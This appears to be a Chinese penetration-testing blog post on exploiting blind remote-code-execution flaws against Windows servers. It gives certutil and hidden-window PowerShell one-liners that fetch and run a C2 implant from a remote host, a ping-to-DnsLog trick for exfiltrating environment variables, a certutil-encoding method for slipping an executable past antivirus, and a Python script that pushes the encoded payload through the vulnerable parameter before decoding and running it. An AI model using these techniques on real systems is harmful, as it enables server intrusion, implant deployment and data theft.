0# 概述
在日常的渗透过程中,总会碰到一些RCE漏洞,无回显的RCE漏洞更是家常便饭。对于无回显的漏洞利用,网上有不少文章,但我看了半天,都是Linux系统的
当无回显RCE漏洞碰上Win服务器,我们又该何去何从呢?故创建本文做个记录
本人才疏学浅,如本人有所疏漏,也望各位师傅指点一番
1# 无回显上线C2
遇到无回显的RCE漏洞,上线C2是不二之选,但这部分并不是今天的重点:
上传C2到服务器一般有以下操作(针对Win):
- 通过WebShell上传C2文件并执行
- 通过
Certutil
远程下载C2文件并执行 - 通过
PowerShell
远程下载C2文件并执行
通过 Certutil
远程下载C2文件并执行
certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数
通过 PowerShell
远程下载C2文件并执行
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数
但由于实际渗透场景的不同,根据账号权限、内网拓扑、安全软件的部署、安全设备的部署等种种情况的不同,很多时候我们并不能直接通过 Certutil
和 PowerShell
这两种方式来上线C2
2# 无回显RCE获取敏感信息
众所周知,Windows其实有很多环境变量,如下:
| 环境变量 | 变量类型 | 变量描述 | |:------------------------:|:-----:|:------------------------------------------------------------------------------:| | %ALLUSERSPROFILE% | 本地 | 指所有用户的用户目录,通常是C:/ProgramData | | %APPDATA% | 本地 | 指当前用户的Application Data目录,通常是C:/Users/当前用户名/AppData/Roaming | | %CD% | 本地 | 返回当前目录字符串 | | %CMDCMDLINE% | 本地 | 返回用来启动当前的Cmd.exe的准确命令行 | | %CMDEXTVERSION% | 系统 | 返回当前的"命令处理程序扩展"的版本号 | | %COMPUTERNAME% | 系统 | 返回计算机的名称 | | %COMSPEC% | 系统 | 返回命令行解释器可执行程序的准确路径 | | %CommonProgramFiles% | 系统 | 指公用文件目录,通常是C:\Program Files\Common Files | | %DATE% | 系统 | 返回当前日期,使用与 date /t 命令相同的格式 | | %ERRORLEVEL% | 系统 | 返回上一条命令的错误代码,通常用非零值表示错误 | | %HOMEDRIVE% | 系统 | 操作系统所在的分区号,基于主目录值而设置,同%SYSTEMDRIVE% | | %HOMEPATH% | 系统 | 同%USERPROFILE%,通常是Users/当前用户名 | | %HOMESHARE% | 系统 | 返回用户的共享主目录的网络路径,基于主目录值而设置 | | %LOGONSERVER% | 本地 | 返回验证当前登录会话的域控制器的名称 | | %NUMBER_OF_PROCESSORS% | 系统 | 指定安装在计算机上的处理器的数目 | | %OS% | 系统 | 返回操作系统名称 | | %PATH% | 系统 | 指定可执行文件的搜索路径 | | %PATHEXT% | 系统 | 返回操作系统认为可执行的文件扩展名的列表 | | %PROCESSOR_ARCHITECTURE% | 系统 | 返回处理器的芯片体系结构 | | %PROCESSOR_IDENTFIER% | 系统 | 返回处理器说明 | | %PROCESSOR_LEVEL% | 系统 | 返回计算机上安装的处理器的型号 | | %PROCESSOR_REVISION% | 系统 | 返回处理器的版本号 | | %PROMPT% | 本地 | 返回当前解释程序的命令提示符设置 | | %ProgramFiles% | 本地 | 指Program Files的路径,通常是C:/Program Files | | %RANDOM% | 系统 | 返回 0 到 32767 之间的任意十进制数字 | | %SYSTEMDRIVE% | 系统 | Windows系统所在的磁盘分区,通常是C: | | %SYSTEMROOT% | 系统 | Windows系统目录 | | %TEMP%和%TMP% | 系统和用户 | 指当前用户的临时文件目录,通常是C:/Users/当前用户名/AppData/Local/Temp,有些应用程序需要 TEMP,而其他应用程序则需要 TMP | | %TIME% | 系统 | 返回当前时间。使用与time /t命令相同的格式 | | %USERDOMAIN% | 本地 | 返回包含用户帐户的域的名称 | | %USERNAME% | 本地 | 返回当前登录的用户的名称 | | %USERPROFILE% | 本地 | 返回当前用户主目录,通常是C:/Users/当前用户名 | | %WINDIR% | 系统 | 返回操作系统目录的位置,通常是C:/Windows |
如何查看具体环境变量的内容呢?如下:
直接用echo就能查看:
echo %CommonProgramFiles%
echo %SYSTEMDRIVE%
echo %SystemRoot%
那当目标服务器无回显RCE的时候,我们要怎么利用呢?这时候就可以配合DnsLog将数据外带出来:
首先我们先生成一个DnsLog地址(当然可以用自建的DnsLog服务器):
然后假设自己想知道目标机器的 %USERDOMAIN%
(包含用户帐户的域的名称),就可以在命令行中执行以下内容:
ping -n 3 %USERDOMAIN%.刚才生成的DnsLog地址
这样就可以从DnsLog得知目标系统的环境变量了,实战如下:
这是某无回显RCE漏洞的实战场景(这个漏洞应该有师傅一看Payload就知道是哪个吧哈哈),利用这种方式直接能读取到目标系统的敏感信息
这里能通过Win的环境变量获取到很多有用的信息,能大大方便后续的渗透测试过程
3# 无回显ByPass上线C2
这里接 1# 无回显上线C2
的相关内容,现在调用 PowerShell
和 Certutil
远程下载C2文件并执行都是安全软件的高权重安全事件,都会被相关安全软件阻止,那我们有什么方法通过RCE漏洞上传可执行文件呢?
注:这部分的内容仅供参考,要结合实际情况
首先我们先要了解一个Windows系统的自带工具:Certutil
certutil.exe
是一个合法Windows文件,用于管理Windows证书的程序。
微软官方是这样对它解释的:
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。
您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
但是此合法Windows服务,现已被广泛滥用于恶意用途
很多人只知道可以通过 Certutil
进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)
3.1 加密C2可执行文件
首先,准备好C2可执行文件,通过 Certutil
进行加密导出
Certutil -encode C2可执行文件名.exe out.txt
可以打开导出的TXT,看到文件有如下特征:
-----BEGIN CERTIFICATE-----
加密后的内容
-----END CERTIFICATE-----
3.2 如何通过RCE写入文件
众所周知,通过命令行使用 echo
命令可以进行文件写入,其实是可以分为追加写入和覆盖写入的:
覆盖写入样例(只要有写入权限,out.txt
里面的内容都会覆写)
echo 1 > out.txt
//将 1 覆盖写入 out.txt
追加写入样例(只要有写入权限,out.txt
里面的内容会被追加写入)
echo 1 >> out.txt
//将 1 追加写入到 out.txt 的末尾
那我们就可以将上文生成的 out.txt
,通过这种方式写入到服务器上,然后在服务器上通过 Certutil
解码出来就行了
3.3 编写脚本批量写入
这个时候就可以编写一个Python脚本批量发包,通过RCE漏洞将内容写入服务器,样例如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()
def EXP(target_url, TxT):
n = 1
with open(TxT, 'r') as web:
webs = web.readlines()
for web in webs:
web = web.strip()
data = "rce= echo {} >> out.txt".format(web) #RCE的相关传参内容,{}位置会被替换
try:
vuln_url = target_url + "漏洞相关路径"
headers = {"Content-Type": "application/x-www-form-urlencoded",}
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
if not('error' in response.text) and response.status_code == 200:
print("[+] 写入成功,响应码为:{} ".format(response.status_code)+" 这是第{}行信息".format(n))
n = n+1
else:
print("[-] 写入中断,目标无响应\n ")
sys.exit(0)
except Exception as e:
print("[-] 请求目标失败 ", e)
if __name__ == '__main__':
raw_url = str(input("请输入目标网站的URL\nUrl >>> "))
if ('://' not in raw_url):
raw_url = str("http://") + str(raw_url)
if str(raw_url[-1]) != "/":
raw_url = raw_url + "/"
target_url = str(raw_url)
print("正在尝试访问" + target_url)
TxT = input("请输入要写入的TXT名字 >>> ")
if TxT == "exit":
sys.exit(0)
else:
EXP(target_url, TxT)
请根据自己的实际情况进行修改,脚本我随手写的,写的不好请见谅哈哈~
等批量写入完成后,可以解码并执行了,命令如下:
Certutil -decode out.txt out.exe
out.exe
4# 总结
很多时候,在学习或者工作中,碰到自己无法的解决的技术问题,不要马上丢给别人,自己一定要尝试去解决!虽然这个过程可能很痛苦,但随着自己摸索的过程,随着问题的解决,自己的能力和知识面就能逐渐提升和丰富
学习的过程便是如此,当你在未来回想这段时光的时候,一定会感谢那时努力的自己
No cross,no crown. 不见风雨,怎见彩虹? 诸君以此自勉